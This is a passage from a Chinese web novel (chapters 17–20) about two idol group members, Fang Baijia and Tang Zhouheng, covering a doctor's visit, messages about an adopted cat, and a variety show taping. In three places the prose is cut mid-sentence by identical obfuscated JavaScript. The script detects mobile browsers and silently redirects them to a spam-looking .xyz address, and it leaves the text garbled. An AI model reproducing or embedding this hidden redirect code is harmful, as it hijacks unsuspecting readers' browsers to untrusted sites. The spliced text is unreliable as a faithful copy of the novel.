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方柏嘉忽然感觉胸口有点痒,说不清哪个部位酥酥麻麻,像被人挠了一下。 他别过眼,不知怎么有点一拳打在棉花上的无力。 长长地呼出一口气,略带别扭地说:“倒也没有,就是你下次别这样了。这么做真的不好。” 闻言,汤昼恒嘴角的弧度不易察觉地下降一点。 察觉到对方后面还有话说,仍然不失礼貌和耐心地看着他。 只见方柏嘉按了按胸口的位置,含蓄又为难地道:“……搞得我心率上上下下的,对身体很不健康。” 再这样下去,迟早有天被对方闹出心脏病。 老是挑战他的定力是怎么回事。 话刚说完汤昼恒就笑了。 像没想到方柏嘉给出的居然是这样的理由,他回头看向侧方的车窗,只留给方柏嘉一个修剪整齐的、毛茸茸的后脑勺,肩膀却在明显地微微抖动。 汤昼恒有意压制,再转回来还是笑意盎然。 “好的,以后不会了。”他顺着方柏嘉的话说。 这人有一双天生含情的柳叶眼,眼裂长,眼皮褶皱深,上眼睑到了尾端的地方有点下沉,不做表情时也似嗔非嗔。一笑起来,两只眼睛就变成了月牙,原本因为过于英俊而显出的不近人情也被冲散,有种很勾人的感觉。 平常正经时还好,一旦用这样一对眼睛带着笑地盯人,就总有些促狭打趣似的意味,像偶尔也会使坏的大型狗狗。 方柏嘉:“……” 又来了,这种跟上次方柏嘉问他知不知道两人共用了吸管时一样的画面。 对方是不是觉得他很傻啊? 他的脸色瞬间变得复杂起来,面孔发热,明明是少年感酷哥的长相,此刻却透出一种与外表不沾边的懵然,好像心情全写在脸上。 眼看他又有要不爽的架势,汤昼恒脾气很好地笑了笑,立刻赶在他发作前给他顺毛。 “真的。我向你保证,以后不会再让你的心跳忽上忽下的,好吗?” 18. 第 18 章 但说这话时的神色并不明确。 语调也懒散又漫不经心的样子,就连承诺也显得不正经起来。 给方柏嘉一种不太可信的感觉,好像说了也是白说。 毕竟对方要怎么做,方柏嘉也控制不了。 ……而且不会让他心跳忽上忽下的是什么鬼,很难让人不怀疑他在偷换概念。 与汤昼恒的话语截然相反的是方柏嘉此刻的心跳。 震耳欲聋。 他将信将疑地看了对方好一会儿,正打算说些什么,前排的江白树突然扭过头来,从座椅上奇怪地探出大半个头:“你俩嘀嘀咕咕说什么呢?听你们这儿讲悄悄话好半天了。” 萦绕在身遭的暧昧氛围气球般骤然被人戳破,两人同时回头,看向这个半途插进来的家伙。 江白树还在那儿说:“不容易啊方柏嘉,你居然也学乖了,是不是现在队长回来了,你没法‘猴子称大王’,所以夹紧了尾巴,也知道讨好人了?” 方柏嘉立马川剧变脸:“你少在这造谣,什么讨好不讨好的,我们交流交流工作经验怎么了,倒是你。” 他打量了下对方用黑色细皮筋绑着的耳朵:“早起这水肿起码得喝两大杯冰美式才能消下去吧?馒馒。” 上次对方让他叫黑称,方柏嘉现在还记得。 “……”江白树说,“你这个人讲话好恶毒。我就随便说几句,你急什么?我看你的花名不该叫不不,应该叫……” 话没说完脑袋就被方柏嘉按了回去。 “兄弟,”坐在江白树旁边的丞绪早就对此习以为常,越过正在打闹的方、江二人朝汤昼恒伸出只手,“欢迎你回来加入我们的宿舍大家庭,咱们组合现在人是真的齐了。” 再前面一排的杭泽宇正举着手机前置照镜子,听到他们说话,也回过头来,问出了方柏嘉之前问过的问题:“不过话说,哥之前不是讲暂时不考虑搬回来吗,怎么现在又改变主意了?” 汤昼恒回答得四平八稳:“想了想还是住宿舍方便点。而且本来都专门为我和我的猫安排好宿舍位置了,不来住也有点可惜。” 这话说的,倒是没人起疑。 方柏嘉忍不住看他一眼。 保姆车开出地下车库,驶在前往摄影棚的路上。 车内渐渐归于平静,汤昼恒斜靠在扶手上手撑着头,另一只手玩儿似的转着手机。 少顷,他将电子设备解锁,找到秦高阳的微信头像,点进去。 汤昼恒:【我试着照你说的做了】 汤昼恒:【过程中他没有表现出不高兴,但是后面又说让我以后不要这样,这算是好还是不好?】 他本来没期待对方很快回答,但秦高阳那边不知道是不是也有什么需要早起的活动,居然十分钟后就发来回复。 秦高阳:【……】 秦高阳:【哥们儿你来真的啊?】 汤昼恒:【?】 秦高阳那边似乎是想了想,过了好几秒才接着道:【信息太有限了。】 【话说你这个TA男的女的?】 汤昼恒随手打字:【男的。】 秦高阳:【男omega?我怎么没感觉出来你和哪个男o走得很密切啊。】 对方这时还不忘悄悄刺探情报。 汤昼恒这回没像上次那样语焉不详,而是直接道:【男Alpha。】 秦高阳:【?】 秦高阳:【?????】 汤昼恒:【别?】 汤昼恒:【你是清朝古董吗?】 和与方柏嘉说话时的耐心不同,他在私下和熟人交谈的语气要更直白得多。 秦高阳:【不,我就表示一下震惊。合着那么多小o追求你你都不感冒原来是因为你是A性恋?难道这就是传说中的真alpha就要草alpha?】 汤昼恒:【……】 汤昼恒:【远远没到那个地步。】 秦高阳:【鼠摸意思?】 秦高阳:【没到同性恋的地步还是没到草的那一步?】 汤昼恒:【你讲话太低俗了】 汤昼恒:【我走了】 秦高阳:【等等!】 秦高阳:【你先别走,让我思考一下。你这个描述,就一句话我也分析不出来什么,而且我也没谈过alpha。】 秦高阳:【要不然你想想,多观察观察,他身边经常接触的人有没有符合他意中人标准的,或者他平时和谁比较亲密。】 秦高阳:【要是有这么个人,你危了。要是没有,说不定你还有戏。】 汤昼恒:【听起来有点道理。】 汤昼恒:【不过谁说我想要有戏了?】 秦高阳:【那你来请教我对方是怎么想的的目的是?】 秦高阳:【你问我这个问题,最后得出来的就只会有两种答案。一他对你有意思,二他对你没意思,如果你对他没意思,那你和他之间的“亲密接触”就纯粹是为了玩儿了,那又为什么要知道他到底对你有意思还是没意思?】 一串话弯弯绕绕得像来了段绕口令。 “……” 汤昼恒罕见地隔了几秒没说话。 几秒之后,他才慢慢活动手指,避重就轻地回答:【弄清现状会帮助我想明白接下来该以怎样的态度和他相处。】 不把这一点搞清楚,又始终觉得不上不下。 【呵呵,弟弟你跟我装呢。】 秦高阳翻译了一下:【你是想说,如果他对你没意思,你就不自作多情了。但如果他对你有意思,你还是会考虑和他拉近你们之间的关系,是这意思吗?】 汤昼恒:“。” 不知道该如何回应,他干脆不再搭理对方,退出聊天界面,关上手机,目视着车窗外,心中同时想着秦高阳的话。 可能怀疑的对象…… 汤昼恒的心中隐隐浮上来一个人影。 片刻过后,他转过身,像是想起了什么,闲聊一般对方柏嘉道。 “你知不知道我是下期《时探家》的嘉宾?” * 《时探家》,全称《时空旅行探险专家》,是近两年来在网上关注度很高的一档户外竞技体验真人秀节目,常驻嘉宾有六个人,方柏嘉是其中之一。 综艺如今已经进行到了第二季,方柏嘉每个月都要抽出几天的时间飞去参与节目录制。 这次的录制就在四天之后。 赶在出门前,方柏嘉自己又悄悄去了趟医院找林主任。 原定的复诊时间本来是一个月后,但经历了MV拍摄过程中发生的事,方柏嘉心中总有点疑虑。 他能感觉出来,他那天所表现出来的症状,并非是像omega那样因为alpha信息素的刺激而产生的发情迹象,反而和在练习室差点晕倒那次类似,纯粹是身体上的难受,有要休克一般的感觉。 后面对汤昼恒有了反应,也是因为对方对他进行了信息素安抚,算是治疗的副作用。 他把自己当天的情况对林主任描述了一下:“这件事发生后没两天,我好像就不太能闻到信息素的味道了。第二嗅觉时灵时不灵的,但是能正常闻到其他非信息素的物体气味,不知道是什么情况。” 除了突然“缺失”部分感官会让人有些心慌以外,这个毛病对方柏嘉的日常生活几乎没有影响。但有上次的经验打底,他总担心自己再不及时管管,后面会发展成别的情况,所以还是找时间来了。 林主任问了方柏嘉几个问题,又对着电脑翻看了一会儿资料,最后道:“这的确是你这样的alpha有概率遇到的事。” 她向他解释:“虽然平时大部分时间看起来好像没什么问题,这么久以来你也习惯了,但其实你的身体长期暴露在大量alpha信息素当中,阈值早已变得很低,这时候只要受到稍微强烈一些的刺激,你的整个信息素接收系统就会过载崩溃,从而导致你的第二嗅觉暂时性的失去感知。” “你当时没用抑制剂是正确的,在这类情况下使用抑制类药物,不仅不会有效果,反而可能加重这种‘过载’现象。你前期大量使用了太多强效型的药剂,无形中也对你的身体产生了影响。” “为了你往后的健康考虑,以后就算到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762101|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了易感期,也尽量不要再用抑制剂,避免病情加重。加上继续维持脱敏治疗,你的第二嗅觉应该就会慢慢恢复。” “怎么了?”见方柏嘉一脸吃惊又为难的样子,林主任道,“是还有哪里不清楚吗?” “呃——也不是,就是那个……”方柏嘉歪着头,无意识勾了勾挂在下巴上的口罩边缘,纠结半天,最后呼出一口长气道,“我争取吧。” …… 综艺录制的前一天,方柏嘉就提前坐飞机赶到了拍摄地所在城市,晚上在当地的酒店过夜休息。 也就是这时,他终于收到了小橘白领养人的消息。 丑猫爱好者:【[图片][图片][图片]】 【不好意思,最近没怎么看消息。】 “丑猫爱好者”——就是领养人的网名,从二人刚加微信号时就存在了。 对方没有过多的客套和寒暄,接连发了几张照片过来,很直接。 然而也不知道是发错了还是怎么,最后一张图片才刚出现在方柏嘉眼底,就又被对方迅速撤回。 尽管只是匆匆一瞥,但还是给方柏嘉留下了鲜明的印象。 那是一只一看就属于Alpha男性的、很有力量感的手在揉搓猫咪肚皮的画面。 对方的手很长,很宽大,但一点也不粗壮,哪怕是稍微有着凸起幅度的手指骨节处,也显得线条优雅,像形状修长的竹管。 方柏嘉:“?” 他不解。 这种照片有什么撤回的必要吗?又不是露出隐私部位。 方柏嘉没在意,点开剩下几张大图轮流查看,终于得以见到小橘白现在的样子。 嗯,已经是大猫了。 只是……这些照片怎么没有一张正脸? 要么是从头顶拍摄的后背角度,猫还没照全,只露出了一半的身子。要么就是猫侧躺着趴在床上的场景,只能看出拉长的一条。 要不然就是糊得不行,仿佛是在猫咪动起来的那一刻抓拍的,导致猫头都出现了重影。 “……” 好直A的拍摄手法。 方柏嘉趴在床上边看边摇头。有点遗憾,但又觉得要是再提出进一步的要求,好像也有点过分。 他毕竟只是一个N年前就把小猫送出去了的短暂过路人。 知道小猫现在过得不错就行了,他突然找上对方的原因不也是这个么? 方柏嘉没有多想,打字:【哦好的,没事。】 丑猫爱好者时隔好几天才回复,让方柏嘉越发确定这就是对方的小号。不过对方不说,他就也跟着装不知道。 方柏嘉:【其实我也不是故意要打扰你的,主要是平时也没别的渠道看它,否则我就自助了。】 方柏嘉:【话说你好像不是很喜欢暴露自己的隐私诶?平时微博也没看到你发猫,感觉在养猫人里很少见】 方柏嘉很随意就把心中的疑问说出了口。 其实也是想隐晦地提醒一下对方,没事也是可以稍微发发自己的小猫的,其他人爱不爱看不知道,但至少可以造福方柏嘉。 丑猫爱好者沉寂了好一会儿才开口:【抱歉,其实是因为我之前谈了个对象。】 方柏嘉:【啊?】 这是什么发展。 丑猫爱好者:【我和他一起养了一段时间的猫,分手后他一直说要来偷猫,我不想被他知道猫的下落行踪,所以一直没在网上发过有关猫的消息,抱歉。】 两条信息下来,立马就把方柏嘉隐隐的期待给否决了。 方柏嘉:【啊……】 虽然听起来略诡异但莫名的很合理是怎么回事。 方柏嘉:【可以理解,没关系的】 方柏嘉:【不过你介意我之后隔段时间再来问你要新的猫猫照片吗?或者你把它发在朋友圈也行?】 既然是前任,总不至于微信还加着对方的账号吧。方柏嘉想,都聊到这儿了,那他再顺便多提一个要求,应该也不算过分。 丑猫爱好者那边又是好一会儿的沉默。 【我尽力,不过我拍摄技术可能不是很好。】 19. 第 19 章 第二天清晨,方柏嘉早早就起来准备开工。 《时旅家》这一期的录制地点在南方某个海岛,等着工作人员调试机器的功夫,方柏嘉缩在等下要进行今天第一场拍摄的沙滩边的遮阳伞下,心不在焉地刷着手机。 忽然间,坐在他旁边的常驻李子晋用手肘戳了戳方柏嘉的身体,冲他这边倾身过来说:“哎,看你老公。” 方柏嘉不明就里地顺着对方递过来的手机界面一看。 上边赫然是某音上的油腻Alpha搞笑视频。 “……” 方柏嘉:“你特么……这你老公。” 李子晋:“你老公。” 方柏嘉:“你老公。” “你老……” 方柏嘉终于忍不住了:“滚。有意思吗你?” 幼稚不幼稚。 李子晋一击得逞,倒也没贪多,把手机收回去一个劲儿地偷笑。 过了一会儿,忽然又戳戳他。 方柏嘉:“……” 有完没完了还。 他没理李子晋,抖了抖那只被对方碰过的手臂,意思是让这人别闹了,他不会再上当第二次。 结果对方的动作还是没停。 方柏嘉压低了声音不耐烦道:“干嘛。” “喂。”李子晋小声说,“你老公来了。” 方柏嘉低头划着手机屏幕,边听边翻了个白眼:“走开。” 有谁会信。 “你老公真来了!”李子晋从戳改成了拍,“不信你看——” 方柏嘉郎心似铁,依旧像没听到那样没有任何反应。 李子晋突然就没了声。 方柏嘉以为自己的冷处理方法有效,正觉得得意。 几秒过后,右侧肩头上冷不丁传来被人用手指轻碰的触感。 方柏嘉寻思着李子晋又绕到另一边接着骚扰他来了,心中忍耐到了极限,猛一下甩开那人递来的手臂,回头的同时抬高音量警告:“你烦不烦?都说了让你别……” 转头看到汤昼恒比自己高五公分的脸,他瞬间哑火。 …… …… 草,这个真是他老公。 虽然是方柏嘉自封的那种。 来人一脸复杂又惊讶地看着自己,好像被方柏嘉突如其来的小发雷霆震到,刚刚碰过他肩膀的那只手还悬在空中,眉宇间满是无辜和茫然。 方柏嘉现在比他还要茫然,侧脸望了眼旁边的李子晋,才发现对方早就默默退到椅子上看热闹去了,两人目光对视,居然还给他做了个“你看我就说,谁让你不信”的表情,无辜地摊了摊手。 “……” 方柏嘉缓缓看回汤昼恒,发现对方的目光也刚从李子晋身上收回。 他沉默地抿嘴半晌,憋出一句:“……嗨。呃,我跟他开玩笑呢,刚才不是在说你。” 方柏嘉讪讪地指了指李子晋的方向。 “那个,你早饭吃了没?” * …… 所有嘉宾到齐,现场准备就绪之后,他们就正式开拍了。 第一个环节是本期的飞行嘉宾轮流进行自我介绍。 公司安排接洽汤昼恒在这个时间过来参加方柏嘉的常驻综艺,无疑是抱着让他们宣传组合新专辑的目的。 等身边的人说完“我是来自unforbid''em的汤昼恒”时,方柏嘉立刻跟着上前一步,十分默契地与汤昼恒并肩站立着做出组合的标志手势。 “大家好我们是——unforbid''em!” 早已重复过无数次的口号,不需要特意对齐都能做到声音完全重叠。 话音落下,方柏嘉几乎是下意识地看了汤昼恒一眼,对方也正好转头望向他。 过来参加节目的艺人有时会带有宣传任务,节目组也给他们留出了时间,让两人在沙滩上简单跳了主打曲中的一个片段,为组合回归打了广告。 退回到队列中时,常驻里的大姐大金永怡像是发现了什么,指着站在一起的方柏嘉和汤昼恒冲所有人道:“你们发现没有?这两个人戴着一模一样的手表。” 经她指出,大家都注意到了这点并打趣。 “果然诶,为什么?” “你们组合这么有团魂的吗?这其实是节目组最近新接的软广吧?” “哎,这个不行啊。”另一位辈分较大、以油滑著称的常驻聂英毅看了立刻举手,半开玩笑道,“我们节目平常录制都不让带电子设备,就是怕有人串通消息作弊,他俩怎么被允许戴这个的,有谁给我一个说法?” 被cue到的二人都举起手臂,方柏嘉莫名有点不好意思:“这个让导演来帮我解释吧。” 监视器后,《时旅家》的总导演康导道:“之所以这样,是因为我们的常驻嘉宾柏嘉最近身体不适,他的队友汤昼恒同学在今天早上前采时特别要求我们,希望接下来两天的拍摄过程中都能让他戴着手表,方便监控身体情况,节目组在经过考虑之后也确实是同意了。” “对。”汤昼恒一边点头一边看着镜头。 “我有好几个来过的朋友都跟我说上《时旅家》特别累,所以我就有点担心他。因为确实,前段时间身体最差的时候是不太能进行这些运动的。所以我这次来主要是起到一个监护人的职责和作用吧,希望节目组别让他太累了。” 汤昼恒说完,全场人都统一沉默了一秒。 大概是因为气场很怪,怪到不像是前来参加有队友在的综艺节目,反而更像是来查岗。 那种得天独厚的、诡异中又很熟稔地就把方柏嘉划分到自己旗下,而其他人都是外人的味道。 再看方柏嘉,竟然也破天荒地没有反驳,而是站在对方一旁,一手握着另一只手的手腕,一副乖乖听话、没有异议的样子。 简直从恶魔比的形象变成了温良恭俭让的天使比。 按理说有熟人来这档节目,方柏嘉作为《时旅家》的常驻,应该是尽地主之谊招待和照顾对方的主位。 结果汤昼恒一上来就来了个倒反天罡,反倒成了照顾人的那个,还表现得这么理所应当,自然而然,一下就引起了其他人的吐槽之心。 “这不对吧?你这个人说话好奇怪啊。”在旁围观的李子晋当场就憋不住了。 他没和汤昼恒打过交道,但碍不住他在节目里和方柏嘉是最熟的,听到这儿第一个反应过来,接道:“你上我们节目,然后叮嘱我们要照顾好方柏嘉,是当我们节目组的人都死的吗?” 李子晋话音一落,四周立即传来善意的哄笑。 刚才还有些客套安静的场面一下热闹起来,仿佛有什么开关无形中被人打开,大家纷纷发表感想。 “哦——”旁边是不知道谁拖腔拉调的声音,“监护人啊,那我们是什么?你这么说把我们其他人置于何地?” 另一位经常过来飞行的狄弘亮也吐槽:“不知道咱柏嘉是什么生活不能自理的人呢,你没来之前饭都不会自己吃,身体不舒服也不会跟导演说,一定要你跟节目组讲。” “导演下次不要再请这个人来了,我觉得他在挑衅我们!” 简直成了大型起哄现场。 方柏嘉试图出声制止无果,在间隙中狠狠瞪了始作俑者李子晋一眼,但对方没接。 只好一脸无奈又诧异地站在原地,摄像机照到他,他立刻对着镜头做了个“发生了什么?”的手势。 好一会儿过后,喧闹才终于平息下来,有人看热闹不嫌事大地采访方柏嘉:“来柏嘉你自己说,你归他管吗?” 方柏嘉几乎是求救般地望向远处的导演,对方置若罔闻。他又看了看身边的汤昼恒,汤昼恒也只是低垂着眼睛看他,好像也在等他的回答。 这让他怎么说? 说不归,剪出去岂不是加深了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762102|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们关系不好的刻板印象,回去肯定又要被经纪人说。 算了,公司的安排,还是听公司的吧。才不是因为他想被汤昼恒管呢。 方柏嘉纠结再三,也不知道磨磨蹭蹭个什么劲,最后目光闪烁道:“……我归啊。” 随后不出所料地招来了其他常驻们的“围攻”。 “完了,这人没救了,遇见他们队长就胳膊肘往外拐。” “搞清楚你是站在哪一边的,我们是在帮你说话好不好?” 众人的目光像在看着不争气的孩子,你一言我一语,把方柏嘉说得脸都烧红。 “那你为什么也要戴这个手表呢?”突然,今天的飞行嘉宾之一,一名omega这样问汤昼恒。 汤昼恒是这样解释的:“因为这样比较方便我们平时沟通。如果他在外面感觉身体不适,手边又刚好没有其他通讯设备,他也依然可以联系到我。” 金永怡好奇地看来看去:“感觉这种紧急联系人填队友很少见诶,子晋以前好像也是男团出身的是不是,你和你的队友有亲密到这个地步吗?” 李子晋冷酷道:“不会。我们队就是那种一个人在旁边死了剩下的人都会继续打游戏的组合。” “这不会是你们公司为了洗清你们的不合传闻特地写了段剧情让你们演的吧?”有人开玩笑道。 听到这里,方柏嘉一个激灵,耳朵立刻竖了起来,心想,终于来了。 既然要让这两个人一起上综艺,肯定多多少少会牵扯到前段时间的直播事件。公司来之前也跟节目组乃至嘉宾都打好了招呼,让他们帮忙在需要的时候打打圆场,几个熟识的常驻拍摄前也没少拿这点跟方柏嘉打趣。 所以这看似刁难般的提问,其实是在主动开启话题,包括刚才金永怡主动提到二人的手表,也是环节当中的一部分。 汤昼恒从容不迫地笑了笑:“真的不是——当然,公司的确有让我们好好表现,不过没有细致到编故事的程度。” 狄弘亮紧接着向方柏嘉求证:“小方,他说的是真的吗?” 方柏嘉立刻为汤昼恒正名:“是真的平时就戴着这个。” 却还是紧张得下意识摸了摸夹在衣服领口的麦。 金永怡:“所以你的紧急联系人的确是他。” 方柏嘉:“对。” “没有别人?” “呃……”方柏嘉只知道话题会cue到他的汤昼恒,根本没想到节目里还会有这一段,背上汗都快下来了,但又不好撒谎,只能诚实道,“没有。” 马上就有人问他:“为什么?是因为他是队长吗?一般来讲其实填经纪人更合适吧?” 方柏嘉神魂飘忽,大脑转得飞快:“因为感觉……我们队里就他靠谱一点?虽然填经纪人也可以,但是他不和我们住一起,也不是每个行程都跟,还是填个每天都能见到面的人比较好。” “至于队里的其他人,我觉得,嗯,”方柏嘉适当流露出一点一言难尽的表情,“就不指望了。” 这话说得不完全假,谁让他的脱敏治疗确实指望不上别人。 方柏嘉讲完,心中长出口气。用力眨了眨眼,希望这期节目播出后别被那几位仁兄围着算账。 毕竟这也算是背后说人坏话了。 “——所以你们是真的不熟吗?”最后一句灵魂提问,也是这番谈话的重点。 在场的人不傻,人和人之间那种微妙的情感流动,他们感觉得出来,方柏嘉和汤昼恒分明不是网上传的你死我活的关系,但也不是能肆无忌惮打闹玩笑的铁哥们儿形象。 观众也不傻,如果强行宣称他们是百年一遇的好队友,反而显得虚假,容易引起逆反心理。 两人再度对视一眼,汤昼恒道:“之前因为一些原因,可能确实没有很熟,但是,我们正在逐渐更加了解彼此的过程当中。” “我也希望能和柏嘉变得亲近起来。” 20. 第 20 章 几名飞行嘉宾挨个smalltalk之后,紧接着由导演正式宣布本期的策划主题。 【这是一座远离大陆的海岛,传言上个世纪曾有一代匪王逃脱官兵追赶来到此地安营扎寨,并在这里留下了丰厚的宝藏遗产。无数人听说消息之后前来探宝,却又空手而归。】 【你们是一群到岛上拍摄寻宝特辑节目的工作人员,在你们当中,有两名假扮其他人的身份混进来盗取财宝的“内鬼”。】 【你们的任务除了找到宝藏,还要想办法揪出两名内鬼。】 众人在酒店里时已经提前抽取过牌面,方柏嘉知道自己的身份只是普通的工作人员。 开场的热身游戏叫“知己知彼”,是将所有人通过抽签的方式分成两组,询问每个人关于其他队员的个人冷知识,答对即可加分。 两队中积分更高的那队可以获得一个关于内鬼的线索提醒。 方柏嘉和汤昼恒被分到了一个组。 除了二人之外,队里还有李子晋、飞行嘉宾梁易、魏慈以及苗源。 游戏从他们这边开始。 第一个问题是给李子晋的:“梁丘伟博是苗源的曾用名,正确还是错误?” “这我怎么会知道?”李子晋上来就愣了,他想了半天,犹犹豫豫道:“正确?” 康导:“回答正确。” 苗源本人解释道:“梁是父姓,我后来这个名字是跟我妈起的。” “YES!”李子晋说,“我就知道越离谱的问题越可能是真的。” 第二个问题,在场的工作人员拿出一个巨大的纸板,上面是整整齐齐排列打印出来的十六只黑白狗头。 “请选出正确选项,哪个是嘉宾魏慈家的边牧铜钱?” 魏慈惊呆了:“这个题我都不一定会做。” 被点到回答这个问题的梁易瞎蒙了一个答案,不出意料地答错了。 下一个问题轮到方柏嘉。 “汤昼恒曾经参演过电影《杀戮之始》,正确还是错误?” 方柏嘉:“……” 他就猜到节目组会把至少一个和汤昼恒有关的问题分给自己。 吐槽归吐槽,方柏嘉还是很快地点头:“正确。” “啊?真的假的?”闻言,梁易在方柏嘉旁边立即惊讶道,“《杀戮之始》我超喜欢,看了三遍,好像没有印象……” 《杀戮之始》是好几年前一部口碑和票房都很不错的犯罪悬疑商业片,上映当年可谓是大火,被媒体评价为“小成本逆袭的典范”。 然而,鲜少有人知道汤昼恒也曾在里边出现过。 梁易越说到后面声音越小,感觉自己好像说错了话。 还以为汤昼恒在里面表现太不出彩,她才没认出来,这样讲岂不是很得罪人。 汤昼恒倒不介意,稍微回忆了一下说:“是真的。因为我演的本身也是个小角色,最后上映剪出来的出场时间只有3、4秒。” 而且还是打扮得灰扑扑的、半个身子都隐藏在黑暗里的镜头,除非是带着放大镜寻找的真爱粉,否则一般人能认出来才怪了。 梁易这才露出恍然大悟的表情。 而方柏嘉之所以这么清楚,是因为他最开始是汤昼恒的粉丝。那会儿汤昼恒还是个很糊很糊的十八线小演员,方柏嘉像许多十八线演员的粉丝一样,专门为了正主那不知道排到几番外的戏份跑去影院看一整场电影。 结果可想而知,把当时的方柏嘉气得够呛。 《杀戮之始》播出时汤昼恒才18岁,拍摄时间则还要更早。说是小角色,多少也是个六番,剧本里出场过好几回。说白了就是当时的汤昼恒还不火,影方剪片子的时候没当回事,给一剪没了。 这种能拿来当虐粉素材的东西,基本只在粉丝内部传播,方柏嘉答完的那一瞬是爽的,后面却立刻开始后悔了。 “不过,你是怎么知道这种事情的?”梁易马上觉出古怪,一脸不解地转头问方柏嘉。 “。” 他就猜到会有这种情况。 方柏嘉皮笑肉不笑地扯了扯嘴角:“这个……” “啊,这个问题好难。”他突然做出被正在进行的下一个提问吸引去全部注意力的样子,示意对方认真听。 梁易疑惑地随着他一起侧过头。 …… 问答过到第二轮。 这回被问到关于汤昼恒的问题的人是魏慈。 “请分别说出汤昼恒六只猫的名字。” 魏慈哪里知道,冲身旁两边的队友露出求助的表情。 提问到了现在,他们组答对的次数不算多,而有可能知道问题答案的人看来看去也只有方柏嘉一个。 大家的目光都不由自主地落到他身上。 被几个人一起注视着,方柏嘉一下压力山大起来,迟疑了下说:“但我也不一定能说对。” 康导:“你可以试一试。” “好吧。”方柏嘉深吸一口气,心说不管了。 “呃,锅盔,毕加索,芝麻馅,砸手里,烧仙草,还有……” 说到最后一个的时候,他明显犹豫了很久,最后念出来的嗓音都是颤的:“咪咪?” 足以见他有多不自信。 他话音刚落,一旁的李子晋就喷了:“……咪咪?你不知道就不要乱编了好不好?画风根本不搭诶!” 果然,任谁都看得出这其中的漏洞。 方柏嘉有苦说不出。 这是他乱编吗,明明是汤昼恒故意不肯告诉自己猫的名字! 康导低头看着手里的本子。 “最后一个错了。” 方柏嘉一点也不意外。 都怪汤昼恒对他遮遮掩掩,否则他怎么会错失积分。 看方柏嘉一脸无望的样子,康导不知为何表情古怪起来,停了停又提示:“你可以试着发挥想象力猜测一下。如果猜对了,也算你回答正确。” 方柏嘉一下被这句话燃起了动力和好奇心,歪着头想了想。 既然是橘白的话,那…… “橘子?橘座?橘右京?砂糖橘?焦糖?蛋挞……或者吐司?”方柏嘉一个名字一个名字地往外蹦。 康导:“不对。不对。不对。不对——都不对。” “行了,你这么一说,大家都知道他养的是橘猫了。”就连对面那组的人也吐槽。 “你连猫的品种都知道,居然不知道人家猫的名字?” 方柏嘉:“……” 我靠,好冤啊! 他下意识带着怨气和委屈地看了汤昼恒一眼,不等对方回应又转过头。 康导说:“给你个提示,可以往意想不到的方向猜一猜。” 意想不到?这算什么提示啊。 核弹?宇宙炸弹?完全想不出来。 方柏嘉大脑放空,实在没有思路,干脆不猜了:“我放弃,你直接告诉我正确答案吧。” 就算答错了题,能知道大橘白到底叫什么名字也好,毕竟汤昼恒那天反常的举动真的有点怪。 岂料康导又看了台本一眼,将答案合上。 “你没有权利知道问题的答案。” “???” 合着他忙活半天全白费了?勾起他的兴趣又不告诉他谜底这合理吗? 康导完全没注意到方柏嘉的不满,因为其他人已经开始抗议上了。 “导演,你这不对吧?问来问去都是这么难的问题,很多根本明面上本人都没有提起过,你这么搞谁答得出来?”李子晋大声抱怨。 康导:“要是每个问题都很简单还比什么……算了,接下来的问题你们抢答吧。不管是谁,只要是你们队的,答出来了就可以。” 大家这才勉强消停。 就听康导问:“方柏嘉出道的契机是因为当练习生免费不要钱公司还给生活费,正确还是错误?” “正确。” “正确。” 这个问题一提出来,同时抢答的竟然有两个人。 汤昼恒和李子晋皆是一愣,在听到另一人的声音时转头看向对方。 李子晋很快反应过来,大声叫道:“哼哼,我可是看过方柏嘉超多采访的人!” 接着便绘声绘色描述起来,说方柏嘉在那个采访里还提到,他当时正处在缺钱的阶段,是好心网友建议他可以试着去给娱乐公司投简历,方柏嘉听说当练习生不要钱、公司还管上学就去了…… 眼见李子晋说得越来越嗨,方柏嘉忍无可忍地打断他:“差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762103|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多得了,别揭我老底。” 说完抬起眼睫,悄悄瞧了瞧左侧不远处汤昼恒的侧脸,只见对方正一脸似笑非笑地直视着正前方,脸上的表情让人看不出来他在想什么,也可能根本就没仔细听。 ……他应该不会察觉到吧,毕竟都那么久了。 方柏嘉说不清自己此刻的心情是失落还是松一口气,又把目光移了回来。 * 问答环节结束之后,接下来的两轮都是体力游戏。 做完已经是下午一点,节目暂停录制,让一众嘉宾先吃了午饭,然后才接着录剩下的内容。 两三个小时的运动消耗下来,所有人都露出了疲态,上一轮游戏是激烈的沙滩排球争夺战,更是搞得方柏嘉心率直逼170。 游戏结束后大家都累趴了,在现场或站或坐地等着导演告诉他们接下来的规则。 